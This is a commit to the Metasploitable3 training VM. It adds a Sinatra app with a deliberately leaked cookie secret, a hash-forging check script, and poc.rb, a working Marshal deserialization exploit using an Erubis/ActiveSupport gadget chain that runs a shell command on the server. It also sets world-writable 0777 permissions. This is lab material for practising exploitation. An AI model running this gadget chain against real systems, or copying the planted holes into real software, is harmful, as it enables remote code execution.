Merge pull request #111 from rapid7/add_custom_vuln

Add Custom Vulnerability (deserialization due to a compromised secret) for Linux VM
This commit is contained in:
jbarnett-r7 2017-04-05 17:27:49 -05:00 committed by GitHub
commit 3daf5181f3
9 changed files with 178 additions and 0 deletions

1
Vagrantfile vendored
View File

@ -161,6 +161,7 @@ Vagrant.configure("2") do |config|
chef.add_recipe "metasploitable::phpmyadmin"
chef.add_recipe "metasploitable::proftpd"
chef.add_recipe "metasploitable::users"
chef.add_recipe "metasploitable::sinatra"
chef.add_recipe "metasploitable::docker"
chef.add_recipe "metasploitable::samba"
end

View File

@ -0,0 +1,5 @@
source 'https://rubygems.org'
gem 'rack', '2.0.1'
gem 'sinatra', '2.0.0rc2'
gem 'erubis'
gem 'activesupport'

View File

@ -0,0 +1,31 @@
==============
Description
==============
This application is vulnerable to a deserialization vulnerability due to a
compromised session secret.
Since this is a custom application, the Metasploitable player is required to
figure out what the secret is (remotely, not through code reading), and write
an exploit from scratch.
For development purposes, you can use the following scripts to test the
vulnerable service:
* check.rb - This will check if the application is vulnerable.
* poc.rb - This will attempt to exploit the application. It will create a
file named /tmp/your_id.txt
==============
Usage
==============
To start the vulnerable application, first do:
$ bundle install
And then finally:
$ ruby start.rb
The server should start on port 8181.

View File

@ -0,0 +1,26 @@
#!/usr/bin/env ruby
#
# This will check our vulnerable app to see if it's vulnerable or not.
# It does so by predicting the hash in the cookie.
#
require 'openssl'
require 'cgi'
require 'net/http'
SECRET = "a7aebc287bba0ee4e64f947415a94e5f"
cli = Net::HTTP.new('127.0.0.1', 8181)
req = Net::HTTP::Get.new('/')
res = cli.request(req)
cookie = res['Set-Cookie'].scan(/_metasploitable=(.+); path/).flatten.first || ''
data, hash = cookie.split('--')
puts "[*] Found hash: #{hash}"
puts "[*] Attempting to recreate the same hash with secret: #{SECRET}"
expected_hash = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, SECRET, CGI.unescape(data))
puts "[*] Predicted hash: #{expected_hash}"
if expected_hash == hash
puts "[*] Yay! we can predict the hash. The server is vulnerable."
end

View File

@ -0,0 +1,34 @@
#!/usr/bin/env ruby
#
# This PoC will inject Ruby code in our vulnerable app.
# It will run the system command "id", and save the output in /tmp/your_id.txt
#
require 'openssl'
require 'cgi'
require 'net/http'
SECRET = "a7aebc287bba0ee4e64f947415a94e5f"
module Erubis;class Eruby;end;end
module ActiveSupport;module Deprecation;class DeprecatedInstanceVariableProxy;end;end;end
erubis = Erubis::Eruby.allocate
erubis.instance_variable_set :@src, "%x(id > /tmp/your_id.txt); 1"
proxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.allocate
proxy.instance_variable_set :@instance, erubis
proxy.instance_variable_set :@method, :result
proxy.instance_variable_set :@var, "@result"
session = { 'session_id' => '', 'exploit' => proxy }
dump = [ Marshal.dump(session) ].pack('m')
hmac = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, SECRET, dump)
cookie = "_metasploitable=#{CGI.escape("#{dump}--#{hmac}")}"
http = Net::HTTP.new('127.0.0.1', 8181)
req = Net::HTTP::Get.new('/')
req['Cookie'] = cookie
res = http.request(req)
puts "Done"

View File

@ -0,0 +1,33 @@
#!/usr/bin/env ruby
require 'sinatra'
require 'erubis'
require 'active_support'
require 'webrick'
MYSECRET = 'a7aebc287bba0ee4e64f947415a94e5f'
set :environment, :development
set :bind, '0.0.0.0'
set :port, 8181
# These settings are specific for Sinatra 2.0.0rc2
set :logging, false
set :quiet, true
dev_null = WEBrick::Log::new("/dev/null", 7)
set :server_settings, {:Logger => dev_null, :AccessLog => dev_null}
use Rack::Session::Cookie,
:key => "_metasploitable",
:path => "/",
:expire_after => 1800,
:secret => MYSECRET
get '/' do
val = "Shhhhh, don't tell anybody this cookie secret: #{MYSECRET}"
session['_metasploitable'] = val unless session['_metasploitable']
body = "Welcome to Metasploitable3 - Linux edition.<br>"
body << "If you exploit this application, you will be handsomely rewarded."
[200, {}, body]
end

View File

@ -0,0 +1,5 @@
description 'Run vulnerable Sinatra'
author 'metasploitable3'
start on runlevel [2345]
exec "/opt/sinatra/start.sh"

View File

@ -0,0 +1,5 @@
#!/bin/sh
cd /opt/sinatra
bundle install
ruby ./server.rb

View File

@ -0,0 +1,38 @@
#
# Cookbook:: sinatra
# Recipe:: sinatra
#
# Copyright:: 2017, Rapid7, All Rights Reserved.
#
#
include_recipe 'metasploitable::sinatra'
apt_repository 'rvm' do
uri 'ppa:brightbox/ruby-ng'
end
package 'ruby2.3'
package 'bundler'
directory '/opt/sinatra' do
mode '0777'
end
['Gemfile', 'README.txt', 'check.rb', 'poc.rb', 'start.sh', 'server.rb'].each do |fname|
cookbook_file "/opt/sinatra/#{fname}" do
source "sinatra/#{fname}"
mode '0777'
end
end
cookbook_file '/etc/init/sinatra.conf' do
source 'sinatra/sinatra.conf'
mode '0777'
end
service 'sinatra' do
supports restart: false, start: true, reload: false, status: false
action [:enable, :start]
end